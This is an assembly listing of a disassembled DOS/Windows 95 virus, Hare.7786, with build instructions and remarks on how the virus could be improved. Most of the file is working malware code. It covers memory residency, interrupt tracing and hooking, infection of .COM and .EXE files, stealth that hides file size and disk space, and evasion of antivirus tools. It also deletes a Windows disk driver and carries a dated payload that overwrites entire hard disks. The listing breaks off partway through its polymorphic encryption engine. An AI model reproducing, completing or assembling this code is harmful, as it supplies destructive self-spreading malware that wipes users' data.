;============================================================================ ; ; HDEuthanasia-v3 by Demon Emperor. ; ; Disassembly of the Hare.7786 virus. ; ; Source: 103k ; ; Disassembly was done by T-2000 / Invaders. ; ; April 1998 / May 1998. ; ; Very stupid written! MUCH double, triple code, unstructured programming, ; different variables used. ; ; Full stealth polymorphic multipartite virus. ; ; ; I guess da source is 70% reconstructed, the rest is kinda hard to do, ; So I don't think that I will complete it (I got better things tha do). ; Also please don't blame me for the pretty lame disassembly, I released ; it only Bcoz I haven't seen any other disasms of Hare. I U decide to ; finish the rest of the disassembly, I would appreciate if U gave me a ; copy. ; ; Demon Emperor seems to have a great knowledge about Win95, he introduced ; several interresting techniques. It's a shame though, that the virus ; has a bunch of shortcomings, these are: ; ; - It doesn't pad the polymorphic code (different filesizes). ; - Shoddy programming: It could loose a lot of weight (bytes), if ; the author has used flexible routines. ; ; ; Some improvements: ; ; - INT 16h: also hook INT 10h, and don't allow writes to the screen, ; turn-off PC-speaker. ; ; ; ; TARGETS: 1st harddisk & 1.44M diskettes. ; PAYLOAD: Message & disktrashing. ; ENCRYPTION: Slow polymorphic. ; STATUS: In the wild. ; ; ; Assemble with TASM 3.2 (or compatible). ; ; TASM hare.asm /m ; ; *** = Bug report/remark (actually too many to write down). ; ;============================================================================ ; The following equates show data references outside the range of the program. DATA_24E EQU 7C16H ;* DATA_25E EQU 7DBEH ;* Virus_Size EQU (OFFSET Virus_End - OFFSET Virus_Begin) .MODEL TINY ; (hmmm... not really!). .STACK 1024 .CODE Virus_Begin: START: MOV SI, 0 ; Delta offset. ORG $-2 Padding DW 0 CLD STI MOV CX, 0F2Ch ; Decrypt second layer. MOV DI, OFFSET Layer_2 ; (slightly polymorphic). ADD DI, SI Decrypt_2: ;NOT WORD PTR CS:[DI] nop nop Key_2: nop INC DI INC DI LOOP Decrypt_2 Layer_2: MOV AX, 0FE23h ; Residency-check. INT 21h CMP AX, 0Dh ; Are we already resident? PUSH SI PUSH DS JNE Decrypt_Layer_3 JMP Exec_Host Decrypt_Layer_3: MOV AL, 0 ORG $-1 Key_3 DB 0 OR AL, AL JZ Make_Resident MOV AH, AL ADD AH, 01h MOV CX, 0E65h MOV DI, OFFSET NewInt01h ADD DI, SI LOCLOOP_6: XOR CS:[DI], AX INC DI INC DI ADD AL, 2 ADD AH, 2 LOOP LOCLOOP_6 Make_Resident: INT 12h ; Get total DOS-memory in AX. MOV CL, 6 SHL AX, CL ; Convert to segment-address. DEC AX MOV ES, AX CMP ES:[8], 'CS' ; Systemcode? JE Find_Last_MCB LOC_8: MOV AH, 52h ; Get list of lists. INT 21h MOV AX, ES:[BX-2] ; Get 1st MCB. Find_Last_MCB: MOV ES, AX CMP BYTE PTR ES:[0], 'Z' ; Last block? JE Last_MCB_Found MOV AX, ES:[3] ; Get total memory in MCB. INC AX ; Plus size MCB (10h bytes). MOV BX, ES ADD AX, BX ; Current MCB + total mem. JMP Find_Last_MCB Last_MCB_Found: MOV AX, ES:[3] ; Get total memory in MCB. SUB AX, (8912 / 16) ; Subtract our needed mem. JC LOC_8 MOV ES:[3], AX ; Put it back. INC AX ; Plus size MCB. MOV BX, ES ADD AX, BX MOV ES, AX POP DS ; DS:SI = Entrypoint virus. POP SI PUSH SI PUSH DS PUSH CS POP DS MOV CX, Virus_Size ; Copy virus to virussegment. XOR DI, DI CLD REP MOVSB PUSH ES ; JMP to relocated virus. MOV AX, OFFSET Relocated PUSH AX RETF ; ; 0 = No ; 1 = Yes ; ; Bits: ; 0 ; 1 Disable stealth. ; 2 Windows 95/NT running. ; 3 ; 4 ; 5 ; 6 ; 7 Windows 95/NT running. ; Relocated: MOV CS:Flags, CL ; Clear Flags variable. MOV AX, 160Ah ; Identify Windows version INT 2Fh ; and type. OR AX, AX ; Function accepted? JNZ Bad_Windows CMP CX, 03h ; Enhanched version running? JB Bad_Windows OR BYTE PTR CS:Flags, 10000000b Bad_Windows: CALL Check_Poly_Sector CALL Infect_Harddisk PUSH CS POP DS MOV AH, 52h ; List of lists. INT 21h MOV AX, ES:[BX-2] ; Get 1st MCB in AX. MOV First_MCB, AX ; Save it for the tracer. MOV BYTE PTR Trace_Function, 19h ; Get free diskspace. MOV BYTE PTR Fake_PUSHF, 00h MOV byte ptr Trace_Done, 01h MOV AX, 3521h ; Get address INT 21h. INT 21h MOV Int21h, BX ; Save INT 21h. MOV Int21h+2, ES MOV Trace_Int, BX ; Find entrypoint. MOV Trace_Int+2, ES CALL Tracer CLD ; Replace address INT 21h MOV SI, OFFSET Trace_Int ; with traced address. MOV DI, OFFSET Traced_Int21h MOVSW MOVSW XOR AX, AX ; Hook INT 21h. MOV DS, AX MOV DS:[21h * 4], OFFSET NewInt21h MOV DS:[21h * 4 + 2], CS CALL SUB_56 CALL Del_PortDriver POP ES ; ES:DI = Virus entrypoint. POP SI XOR SI, SI PUSH SI PUSH ES Exec_Host: POP ES POP SI PUSH ES POP DS PUSH DS CMP BYTE PTR CS:[SI+Host_Type], 01h JE Exec_EXE ADD SI, OFFSET Old_Entry MOV DI, 100h PUSH DI CLD PUSH CS POP DS MOVSW ; Restore original 3 bytes MOVSB ; in da .COM-file. PUSH ES POP DS CALL Clear_Registers RETF Exec_EXE: MOV AX, CS:[SI+Old_Entry+2] POP BX ADD BX, 10h ; Plus size PSP. ADD AX, BX ; Add effective segment. MOV CS:[SI+JMP_Host+2], AX ; Store it in the code. MOV AX, CS:[SI+Old_Entry] MOV CS:[SI+JMP_Host], AX ADD CS:[SI+Old_Stack+2], BX CALL Clear_Registers ; Clear registers & flags. MOV SS, CS:[SI+Old_Stack+2] MOV SP, CS:[SI+Old_Stack] DB 0EAh ; JMP to host. JMP_Host DW 0, 0 Traced_Int21h DW 0, 0 Int21h DW 0, 0 JMP_COM DB 90h ; JMP to virus in .COM-file. DW 0 Host_COM_JMP: Old_Entry DW OFFSET Carrier, 0 Old_Stack DW 0, 0 Old_Mod512 DW 30h Old_Byte_Pages DW 2 FileTime DW 9AA0h Host_Type DB 01h Temp1 DW 1E6Ah, 3 Trace_Int DW 9AA0h, 2498h First_MCB DW 253h Trace_Done DB 0 Fake_PUSHF DB 0 CodeSegment DW 0 Int1Ch DW 0, 0 Flags DB 0 PSP_Segment DW 0 Free_Clusters DW 0 Trace_Function DB 3 Clear_Registers: XOR AX, AX PUSH AX ; Clear all flags (also TF). POPF STI MOV CX, AX ; Clear registers. MOV DI, AX MOV BP, AX MOV DX, AX MOV BX, AX RETN NewInt01h: PUSH AX PUSH BX PUSH BP PUSH DS MOV BP, SP MOV AX, [BP+10] ; AX = CS. MOV BX, [BP+08] ; BX = IP. MOV CS:CodeSegment, CS CMP AX, CS:CodeSegment JE Exit_Int01h CALL Check_Opcode CMP AX, 0F000h JNB LOC_14 CMP AX, CS:First_MCB ; In DOS-segment? JA Exit_Int01h ; Continue tracing when not. LOC_14: AND CS:Trace_Done, 00000001b JZ Exit_Int01h MOV CS:Trace_Done, 00h MOV CS:Trace_Int+2, AX ; Store segment. MOV AX, [BP+8] MOV CS:Trace_Int, AX ; Store offset. Exit_Int01h: POP DS POP BP POP BX POP AX CMP CS:Fake_PUSHF, 1 JE LOC_16 IRET LOC_16: MOV CS:Fake_PUSHF, 0 RETF Tracer: MOV AX, 3501h ; Get INT 01h address. INT 21h MOV Temp1, BX ; Save INT 01h address. MOV Temp1+2, ES MOV DX, OFFSET NewInt01h MOV AH, 25h ; Hook INT 01h. INT 21h XOR DL, DL PUSHF POP AX OR AX, 100h ; Turn TF on. PUSH AX POPF MOV AH, Trace_Function PUSHF ; Trace the function. CALL DWORD PTR Trace_Int PUSHF POP AX AND AX, NOT 100h ; Single-step mode off. PUSH AX POPF LDS DX, DWORD PTR Temp1 ; Restore INT 01h. MOV AX, 2501h INT 21h PUSH CS PUSH CS POP ES POP DS RETN Check_Opcode: PUSH AX MOV DS, AX MOV AL, [BX] CMP AL, 9Dh ; Next instruction POPF ? JNE LOC_17 OR [BP+0CH], 100h ; Set TF in flags on stack. JMP LOC_18 NOP LOC_17: CMP AL,9Ch ; PUSHF ? JNE LOC_18 INC WORD PTR [BP+8] MOV CS:Fake_PUSHF,1 LOC_18: POP AX RETN SUB_4: MOV AH, 04h ; Get clock. INT 1Ah TEST DH, 00001000b JZ Luck_4_User CMP DL, 22h ; Trigger-date? JE Payload Luck_4_User: RETN PayLoad: MOV AX, 03h ; Clear the screen. INT 10h MOV SI, OFFSET Message ; Display text. MOV BH, 00h MOV CX, 3Dh Display_Char: LODSB ; String [si] to al MOV AH, 0Eh ; Display character. INT 10h LOOP Display_Char MOV DL, 80h LOC_22: MOV BH, DL XOR DL, 01h MOV AH, 08h ; Get disk drive parameters. INT 13h AND CL, 00111111b ; 0 - 63. MOV AL, CL MOV AH, 03h PUSH AX MOV DL, BH MOV AH, 08h INT 13h ; Disk dl=drive 0 ah=func 08h ; get drive parameters, bl=type ; cx=cylinders, dh=max heads AND CL, 00111111b ; 0 - 63. MOV AL, CL MOV AH, 03h MOV DL, BH MOV CX, 0101h PUSH AX MOV BP, SP LOC_23: PUSH DX LOC_24: TEST DL, 00000001b JNZ LOC_25 MOV AX, [BP] JMP LOC_26 LOC_25: MOV AX,[BP+2] LOC_26: INT 13h ; ??INT NON-STANDARD INTERRUPT XOR DL, 01h DEC DH JNZ LOC_24 POP DX INC CH JNZ LOC_23 ADD CL, 40h JNC LOC_23 ADD DL, 2 ADD SP, 4 JMP LOC_22 ; Calls the original INT 21h. Traced_i21h: PUSHF CALL DWORD PTR CS:Traced_Int21h RETN Stealth_DiskSpace: PUSH BX PUSH AX MOV AH, 62h ; Get PSP-address. CALL Traced_i21h POP AX CMP CS:PSP_Segment, BX JNE LOC_28 CMP CS:Trace_Function, DL ; Drive. JNE LOC_28 POP BX POPF CALL Traced_i21h MOV BX, CS:Free_Clusters ; Fake # of free clusters. RETF 2 LOC_28: MOV CS:PSP_Segment, BX MOV CS:Trace_Function, DL ; Save drive. POP BX POPF CALL Traced_i21h ; Execute function. MOV CS:Free_Clusters, BX ; Genuine # of free clusters. RETF 2 Stealth_Filesize: CALL DWORD PTR CS:Int21h ; Execute function. PUSHF PUSH AX PUSH BX PUSH ES TEST CS:Flags, 00000010b ; Stealth-Mode off? JNZ Exit_Size_Stealth ; Then no file-stealth. OR AL, AL ; No error occurred? JNZ Exit_Size_Stealth ; Else exit. MOV AH, 2Fh ; Get DTA-address. CALL Traced_i21h CMP CS:Function_i21h, 40h ; FCB/Dir ? JA Dir_Stealth OR WORD PTR ES:[BX+26h], 0 JNZ LOC_30 CMP ES:[BX+24h], 1E9Ch JB Exit_Size_Stealth LOC_30: MOV AX, ES:[BX+1Eh] AND AL, 00011111b ; Erase all but seconds. CMP AL, 00010001b ; 34 seconds? JNE Exit_Size_Stealth SUB WORD PTR ES:[BX+24h], (Virus_Size + 70) SBB WORD PTR ES:[BX+26h], 0 JMP Exit_Size_Stealth Dir_Stealth: OR WORD PTR ES:[BX+1Ch], 0 JNZ LOC_32 CMP ES:[BX+1Ah], 1E9Ch JB Exit_Size_Stealth LOC_32: MOV AX,ES:[BX+16h] ; Get time in AX. AND AL, 00011111b CMP AL, 00010001b ; 34 seconds? JNE Exit_Size_Stealth SUB WORD PTR ES:[BX+1AH], (Virus_Size + 70) SBB WORD PTR ES:[BX+1CH], 0 Exit_Size_Stealth: POP ES POP BX POP AX POPF RETF 2 Size_Stealth: MOV CS:Function_i21h, AH ; Save function #. JMP Stealth_Filesize Function_i21h DB 4Eh Residency_Check: MOV AX, 0Dh ; Return our sign. POPF RETF 2 NewInt21h: PUSHF CMP AX, 0FE23h ; Residency-check. JE Residency_Check CMP AH, 36h ; Get free diskspace. JNE Check_Next_3 JMP Stealth_DiskSpace Check_Next_3: CMP AH, 4Ch ; Program terminate. JE Check_PSP_Infect CMP AH, 31h ; Terminate & stay resident. JE Check_PSP_Infect CMP AH, 00h ; Terminate program. JE Check_PSP_Infect CMP AX, 4B00h ; Program execute. JNE Check_Next_4 CALL Infect_Exec Check_Next_4: CMP AH, 11h ; Findfirst (FCB). JE Size_Stealth CMP AH, 12h ; Findnext (FCB). JE Size_Stealth CMP AH, 4Eh ; Findfirst (handle). JE Size_Stealth CMP AH, 4Fh ; Findnext (handle). JE Size_Stealth CMP AH, 3Dh ; Open file (handle). JNE Check_Next_5 CALL Clean_File Check_Next_5: CMP AH, 3Eh ; Close file (handle). JNE LOC_39 POPF CALL Infect_Close RETF 2 ; Return to caller. LOC_39: POPF JMP DWORD PTR CS:Int21h Check_PSP_Infect: AND CS:Flags, 00000100b PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH ES PUSH DS MOV AH, 62h ; Get PSP. CALL Traced_i21h JC Exit_PSP_Check CLD MOV ES, BX MOV ES, ES:[2Ch] XOR DI, DI MOV AL, 00h LOC_41: MOV CX, 0FFFFh REPNE SCASB CMP ES:[DI], AL JNE LOC_41 ADD DI, 03h MOV DX, DI PUSH ES POP DS MOV AX, 3D00h ; Open file... CALL Traced_i21h JC Exit_PSP_Check MOV BX, AX ; And infect it on closing. CALL Infect_Close Exit_PSP_Check: POP DS POP ES POP DI POP DX POP CX POP BX POP AX POPF JMP DWORD PTR CS:Traced_Int21h ; AX = 4B00h Infect_Exec: PUSH AX ; Save registers. PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH DI PUSH SI CALL Check_To_Del_Driver CALL Set_Dummy_Handlers CALL Save_FileAttr CALL Check_FileName PUSHF PUSH DS PUSH CS POP DS MOV DI, 0 ORG $-2 Gaby1 DW OFFSET FileName1 MOV SI, OFFSET FileName2 ADD BX, 04h MOV CX, BX REP MOVSB POP DS POPF JC Exit_Infect_Exec ; Special file? MOV AX, 3D02h ; Open file r/w. CALL Traced_i21h XCHG BX, AX ; BX = Filehandle. CALL Save_FileTime MOV AX, CS:Trace_Int ; Get filetime. AND AL, 00011111b ; Mask seconds. PUSH AX MOV AH, 3Fh ; Read header. MOV CX, 28 PUSH CS POP DS PUSH DS POP ES MOV DX, OFFSET Buffer CALL Traced_i21h MOV SI, DX CLD LODSW ; Get 1st word from header. CMP AX, 'ZM' ; True .EXE-file? JE Is_EXE CMP AX, 'MZ' ; True .EXE-file? JNE Is_COM ; Else it's a .COM-file. Is_EXE: POP AX ; POP filetime. TEST Flags, 00000100b JZ LOC_44 CMP AL, 11h JE LOC_47 CALL Infect_EXE JNC LOC_46 JMP Exit_Infect_Exec LOC_44: CMP AL, 11h JNE LOC_47 CALL SUB_41 JNC LOC_47 JMP Exit_Infect_Exec Is_COM: POP AX ; AX = Filetime. CMP AL, 11h ; 34 seconds, infected? JE Exit_Infect_Exec CALL Infect_COM JC LOC_47 LOC_46: MOV AX, Trace_Int ; Set infected timestamp. AND AL, 11100000b OR AL, 11h ; 34 seconds. MOV Trace_Int, AX LOC_47: CALL Restore_FileTime Exit_Infect_Exec: MOV AH, 3Eh ; Close file. CALL Traced_i21h CALL Restore_FileAttr CALL Restore_Dummy_Handlers POP SI ; Restore registers. POP DI POP DS POP ES POP DX POP CX POP BX POP AX RETN ; Checks if INT 13h part is resident, and deletes portdriver if so. Check_To_Del_Driver: CALL Del_PortDriver MOV AX, 160Ah ; Identify Windows version INT 2Fh ; and type. OR AX, AX ; Legal function? JNZ Exit_Del_PortDriver CMP BH, 04h ; Windows ver. 4 or higher? JB Exit_Del_PortDriver MOV AX, 5445h ; INT 13h residency-check. INT 13h CMP AX, 4554h ; INT 13h part installed? JNE Exit_Del_PortDriver CALL Del_PortDriver JC LOC_49 ; File not found? RETN LOC_49: CALL Unslice_Int13h Exit_Del_PortDriver: RETN Infect_EXE: CMP Reloc_Offs, 40h ; PE-header? JNE LOC_52 STC LOC_51: JMP Exit_Infect_EXE LOC_52: MOV DI, OFFSET Old_Entry ; Save old CS:IP. MOV SI, OFFSET Init_IP MOVSW MOVSW MOV SI, OFFSET Init_SS ; Save old SS:SP. MOV DI, OFFSET Old_Stack+2 MOVSW SUB DI, 04h MOVSW MOV SI, DX ; Buffer. MOV Host_Type, 01h ; Host is .EXE-file. CALL Check_Infect ; Suitable for infection? JC LOC_51 ; CF set if not. MOV AX, Trace_Int ; Save time. MOV FileTime, AX MOV AX, [SI+2] ; Filesize MOD 512. MOV Old_Mod512, AX MOV AX, [SI+4] ; File in 512-byte pages. MOV Old_Byte_Pages, AX MOV AX, [SI+4] ; MOV DX, 512 CMP WORD PTR [SI+2], 0 ; No rounding? JE LOC_53 DEC AX ; LOC_53: MUL DX ; Calculate filesize. MOV Temp1+2, DX MOV DX, [SI+2] ADD AX, DX ; Plus filesize MOD 512. ADC Temp1+2, 00h MOV Temp1, AX PUSH AX XOR CX, CX ; Go to end of file. MOV DX, CX ; DX:AX = Filesize. MOV AX, 4202h CALL Traced_i21h SUB AX, Temp1 ; Same size as in header? JZ Good_Size_Lo ; (ie. no internal overlay?). POP AX STC JMP Exit_Infect_EXE Good_Size_Lo: SUB DX, Temp1+2 ; Same size as in header? JZ Good_Size_Hi POP AX STC JMP Exit_Infect_EXE Good_Size_Hi: POP AX ; Filesize low. MOV CX, Temp1+2 ; Filesize high. MOV DX, AX MOV AX, 4200h ; Go to end file. CALL Traced_i21h MOV AX, 1E7Bh MOV DX, [SI+2] ; Filesize MOD 512. ADD DX, AX LOC_56: INC WORD PTR [SI+4] ; Filesize in 512-byte pages. SUB DX, 512 CMP DX, 512 JA LOC_56 JNE LOC_57 XOR DX, DX LOC_57: MOV [SI+2], DX MOV AX, [SI+8] ; Size header in paragraphs. MOV CX, 16 MUL CX ; Calculate headersize bytes. MOV CX, Temp1 ; Filesize minus headersize. SUB CX, AX SBB Temp1+2, DX MOV DI, Temp1+2 ; Filesize high. MOV SI, CX ; Filesize low. MOV DX, DI MOV AX, SI MOV CX, 16 DIV CX ; Filesize DIV 16. MOV DI, AX MOV SI, DX MOV Host_Entrypoint, SI MOV Padding, SI ; 0 - 15 bytes padding. ADD SI, OFFSET Buffer ; Plus end of virus. MOV Temp1, SI MOV Temp1+2, DI CLD ; Set host's new entrypoint. MOV SI, OFFSET Temp1 MOV DI, OFFSET Init_IP MOVSW MOVSW CALL Poly_Engine ; Polymorphic encryptor. JC Exit_Infect_EXE XOR CX, CX ; Go to start of file. MOV DX, CX MOV AX, 4200h CALL Traced_i21h CALL Make_Random_Stack MOV DX, OFFSET Buffer ; Write updated header. MOV AH, 40h MOV CX, 28 CALL Traced_i21h Exit_Infect_EXE: RETN Infect_COM: MOV Host_Type, 00h ; Set host as .COM-file. CLD MOV DI, OFFSET Host_COM_JMP MOV SI, OFFSET Buffer CALL Check_Infect ; Suitable for infection? JC LOC_59 MOV CX, 3 ; Copy first 3 bytes of host REP MOVSB ; to our storage-place. MOV DX, CX ; Go to end of file. MOV AX, 4202h ; DX:AX = Filesize. CALL Traced_i21h OR DX, DX ; File under 64k? JZ LOC_60 LOC_59: STC JMP Exit_Infect_COM LOC_60: CMP AX, 30 ; File too small? JB LOC_59 XOR CX, CX ; Go to end of file. MOV DX, CX ; DX:AX = Filesize. MOV AX, 4202h CALL Traced_i21h CMP AX, 55701 ; File too big? JB LOC_61 STC ; Set carry-flag (error). JMP Exit_Infect_COM LOC_61: MOV Host_Entrypoint, AX ADD Host_Entrypoint, 100h MOV Padding, AX ; Virus entrypoint. ADD Padding, 100h ; Plus .COM-entrypoint. MOV DI, OFFSET JMP_COM MOV BYTE PTR [DI], 0E9h ; JMP opcode. SUB AX, 3 ; Minus displacement. ADD AX, Virus_Size ; Plus entrypoint. MOV [DI+1], AX ; Store it. CALL Poly_Engine ; Append polymorphic copy. JC Exit_Infect_COM XOR CX, CX ; Go to start file. MOV DX, CX MOV AX, 4200h CALL Traced_i21h MOV CX, 3 ; Write JMP Virus to start MOV DX, OFFSET JMP_COM ; of .COM-file. MOV AH, 40h CALL Traced_i21h Exit_Infect_COM: RETN Save_FileTime: MOV AX, 5700h ; Get filetime. CALL Traced_i21h MOV CS:Trace_Int, CX MOV CS:Trace_Int+2, DX RETN ; Guess what...!? Restore_FileTime: MOV AX, 5701h ; Set timestamp. MOV CX, CS:Trace_Int MOV DX, CS:Trace_Int+2 CALL Traced_i21h RETN ; ; Saves file attributes, and clears them afterwards. ; In: BX = Filehandle. ; Save_FileAttr: MOV AX, 4300h ; Get file-attributes. CALL Traced_i21h MOV CS:CodeSegment, CX MOV AX, 4301h ; Clear file-attributes. XOR CX, CX CALL Traced_i21h RETN Restore_FileAttr: MOV AX, 4301h ; Set file-attributes. MOV CX, CS:CodeSegment CALL Traced_i21h RETN SUB_14: PUSH DS PUSH CS POP DS CLD MOV SI, OFFSET FileName2 SUB BX, 4 JC LOC_63 MOV AX, [SI] CMP AX, 'BT' ; TBAV utilities? STC JE LOC_63 CMP AX, '-F' ; F-Prot? JE LOC_65 CMP AX, 'VI' ; Invircible? JE LOC_65 CMP AX, 'HC' ; CHKDSK.EXE ? JE LOC_64 MOV AL, 'V' ; Filename contains a 'V' ? MOV DI,OFFSET FileName2 MOV CX, BX INC CX REPNE SCASB OR CX, CX ; Found? STC JNZ LOC_63 ; Then exit with carry set. MOV DI, OFFSET FileName2 ; Filename is COMMAND.* ? MOV SI, OFFSET Command_Com MOV CX, BX REPE CMPSB OR CX, CX ; Found? STC JZ LOC_63 ; Then exit with carry set. CLC LOC_63: POP DS RETN LOC_64: OR Flags, 00000010b POP DS RETN LOC_65: OR Flags, 00000001b STC POP DS RETN Check_FileName: PUSH DS POP ES XOR AL, AL MOV DI, DX XOR CX, CX MOV CL, 0FFh MOV BX, CX CLD REPNE SCASB ; Find end of ASCIIZ-string. DEC DI DEC DI SUB BX, CX MOV CX, BX STD MOV AL, '\' REPNE SCASB ; Find start filename. SUB BX, CX MOV CX, BX INC DI MOV AL,ES:[DI] CMP AL, '\' JNE LOC_66 INC DI MOV SI, DI MOV DI, OFFSET FileName2 DEC CX DEC BX CLD PUSH CS POP ES REP MOVSB CALL SUB_14 RETN LOC_66: MOV BX, 0Ah PUSH CS POP ES RETN FileName1 DB 'DUM1.EXE.EXE', 0 FileName2 DB 'DUM1.EXECOME', 0 Command_Com DB 'COMMAND' Port_Driver DB '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0 ; Searches the program environment to find a 'WIN'-string. This matches ; normally to either WINBOOTDIR or WINDOWS, thus the Windows directory. ; It then appends the path '\SYSTEM\IOSUBSYS\HDFLOP.PDR' to the found ; directoryname. The file HSFLOP.PDR handles the port-level-access to disks, ; without it Windows needs to use the slow INT 13h (which the virus has ; hooked). Hare does this to also infect bootsectors under Windows 95/NT. Del_PortDriver: PUSH DS PUSH DX XOR DI, DI Find_String: MOV CX, 0FFFFh MOV AH, 62h ; Get PSP. INT 21h MOV ES, BX MOV ES, ES:[2Ch] ; ES = Program's environment- CLD ; block (PATH, SET, etc). Get_Next_String: MOV AL, 0 REPNE SCASB ; Find end of ASCIIZ-string. MOV AX, ES:[DI] ; Get first word. OR AL, AL ; No settings? JZ Exit_Del_Driver ; Then exit routine. AND AX, 1101111111011111b ; Convert to uppercase. CMP AX, 'IW' ; WINBOOTDIR/WINDOWS? JNE Get_Next_String MOV AL, ES:[DI+2] ; Get third character. AND AL, 11011111b ; To uppercase. CMP AL, 'N' ; Have we found WIN ? JNE Get_Next_String MOV AL, '=' ; Value. REPNE SCASB ; Find '='. JCXZ Exit_Del_Driver ; Not found? MOV SI, DI MOV BX, DI MOV DI, OFFSET Buffer MOV DX, DI PUSH ES POP DS PUSH CS POP ES ; This copies the string found above to our buffer. Copy_Byte: LODSB ; Copy byte to our buffer. STOSB OR AL, AL ; End reached? JNZ Copy_Byte ; No, then continue copy. DEC DI PUSH CS POP DS MOV SI, OFFSET Port_Driver ; Append path to Windows-dir. MOV CX, 28 REP MOVSB MOV AH, 41h ; Delete portdriver. CALL Traced_i21h JNC Exit_Del_Driver CMP AL, 02h ; File not found? ; (Wrong string fetched?) MOV DI, BX JZ Find_String STC Exit_Del_Driver: POP DX POP DS RETN DATA_70 DB 0 DB 1Ah, 02h ; Read real-time clock. DB 1Ah, 04h ; Read date from real-time clock. DB 1Ah, 03h ; Set real-time clock. DB 10h, 08h ; Read character and attribute. DB 10h, 0Fh ; Get current display mode. DB 10h, 0Bh ; Set color palette. DB 21h, 0Dh ; Reset disk. DB 21h, 18h ; Reserved. DB 21h, 19h ; Get default drive. DB '!*!,!0!M!Q!T!b!' ; AND opcodes. DB 0Bh, 21h, 0Dh, 21h Int_Table: INT 2Bh INT 2Ch INT 2Dh INT 28h INT 1Ch ; This is bad programming! INT 08h ; This 1 2! INT 0Ah INT 0Bh INT 0Ch INT 0Dh INT 0Fh INT 0Eh INT 70h INT 71h INT 72h INT 73h INT 74h INT 75h INT 76h ; Can cause problems 4 example wit MegaStealth. INT 77h INT 01h INT 03h ; 1 byte breakpoint. INT 03h PushPop_Pairs: PUSH AX POP AX PUSH BX POP BX PUSH CX POP CX PUSH DX POP DX PUSH DI POP DI PUSH SI POP SI PUSH BP POP BP PUSH DS POP DS PUSH ES POP ES PUSH SS POP SS Random DW 0 DATA_74 DB 1Eh SUB_17: CALL Get_Random_Poly ; Get random# in AX. TEST AH, 00010000b ; 1/8 chance. JZ LOC_74 CMP BL, 02h JE LOC_72 CMP BL, 04h JE LOC_73 JMP LOC_74 LOC_72: ADD AL, 64 JNC LOC_72 AND AL, 11111110b ; CMP AL, DATA_74 JE SUB_17 MOV DATA_74, AL PUSH SI CBW XCHG BX, AX MOV SI, OFFSET Int_Table MOV AX, [BX+SI] POP SI MOV BL, 02h RETN LOC_73: ADD AL, 38 JNC LOC_73 AND AL, 11111110b CMP AL, DATA_74 JE SUB_17 MOV DATA_74, AL PUSH SI CBW XCHG BX, AX MOV SI, OFFSET DATA_70 MOV AH, [BX+SI] MOV DH, [BX+SI+1] MOV AL, 0B4h MOV DL, 0CDh POP SI MOV BL, 04h RETN LOC_74: MOV BL, 00h RETN SUB_18: MOV BP, 03h LOC_75: DEC BP JZ LOC_RET_78 CALL SUB_17 ADD CL, BL CMP BL, 2 JB LOC_77 JA LOC_76 STOSW JMP LOC_75 LOC_76: STOSW MOV AX, DX STOSW LOC_77: JMP LOC_75 LOC_RET_78: RETN ; ; ; ; Returns: BX = Random number 0 - 2. Get_Ran_3: XOR BX, BX LOC_79: PUSH AX CALL Get_Random_Poly MOV BL, AL POP AX MOV AL, BL OR BL, BL JZ LOC_79 AND BL, 00000011b ; 0 - 3. CMP BL, 3 ; 0 - 2. JB LOC_RET_80 JMP LOC_79 LOC_RET_80: RETN Check_Poly_Sector: PUSH CS PUSH CS POP ES POP DS MOV AH, 08h ; Get disk drive parameters MOV DL, 80h ; of 1st harddisk. INT 13h MOV BX, OFFSET Poly_Sector MOV AX, 0201h INC CH ; Last track of harddisk. DEC DH ; DEC DH MOV CL, 01h ; 1st sector. MOV DL, 80h INT 13h JC Exit_Poly_Check CALL Get_Random AND AL, 00001111b ; 0 - 15. CMP AL, 7 JE Gen_Poly_Sector CMP [BX], 0CCDDh ; Polysector already present? JE Exit_Poly_Check Gen_Poly_Sector: MOV CX, 256 ; 256 words. MOV DI, BX Store_Random: CALL Get_Random ADD AX, [DI-2] ; Add previous value. MOV [DI], AX INC DI INC DI LOOP Store_Random MOV [BX], 0CCDDh ; Polysector signature. LOC_83: MOV AH, 08h ; Get disk drive parameters. MOV DL, 80h INT 13h MOV BX, OFFSET Poly_Sector ; Write polysector to disk. MOV AX, 0301h INC CH DEC DH DEC DH MOV CL, 01h MOV DL, 80h INT 13h JC LOC_85 Exit_Poly_Check: RETN LOC_85: MOV AX, 440Dh MOV BX, 180h MOV CX, 84Bh INT 21h ; DOS Services ah=function 44h ; IOctl-D block device control ; bl=drive, cx=category/type ; ds:dx ptr to parameter block JMP LOC_83 ; ; Gets a random number from the polymorphic sector. ; Returns: AX = Random number. ; Get_Random_Poly: PUSH BX MOV BX, CS:Poly_Sector CMP BX, 512 JB LOC_86 AND BX, 00000001b ; 0 - 1. XOR BL, 00000001b ; Flip. LOC_86: ADD BX, 2 ; Next word. MOV CS:Poly_Sector, BX MOV AX, CS:[Poly_Sector+BX] POP BX RETN ; ; Return: AX = Random value (1 - 65535). ; Get_Random: XOR AL, AL OUT 43h, AL ; port 43H, 8253 timer control ; al = 0, latch timer0 count JMP $+2 ; Delay for I/O. IN AL, 40h MOV AH, AL IN AL, 40h XOR AL, AH XCHG AL, AH PUSH CX MOV CL, AH AND CL, 00001111b ROL AX, CL MOV CX, AX AND CX, 0000011111111111b Delay_Loop: JMP $+2 NOP LOOP Delay_Loop POP CX XOR CS:Random, AX ADD AX, CS:Random OR AH, AH JZ Get_Random OR AL, AL JZ Get_Random RETN Poly_Engine: PUSH SI PUSH BX ; Filehandle. CLD MOV Poly_Sector, 0 XOR SI, SI MOV DI, OFFSET Undoc MOV DATA_77, 1C6Ah MOV AX, Host_Entrypoint MOV DATA_84, AX CALL Get_Ran_3 MOV AL, [BX+Encr_Methods] MOV AH, 0E0h MOV word ptr Poke1, AX MOV word ptr Shit3, AX XOR BL, 03h MOV AL, Encr_Methods[BX] MOV Shit2, AL CALL Get_Random_Poly MOV DATA_94, AL MOV Key_3, AL MOV DATA_82, AH POP BX PUSH BX MOV word ptr Decrypt_2, 0F72Eh MOV BYTE PTR Key_2, 15h MOV CX, 14h LOCLOOP_89: LODSB ; String [si] to al Shit3: ;* SUB AL,AH DB 28H,0E0H ; Fixup - byte match STOSB ; Store al to es:[di] LOOP LOCLOOP_89 ; Loop if cx > 0 MOV CX, 1ECh LOCLOOP_90: LODSB ; String [si] to al CMP SI,1A3H JB LOC_91 XCHG DATA_94, AH XOR AL, AH ADD AH, 01h XCHG DATA_94, AH LOC_91: NOT AL Poke1: ;* SUB AL,AH DB 28H,0E0H ; Fixup - byte match STOSB LOOP 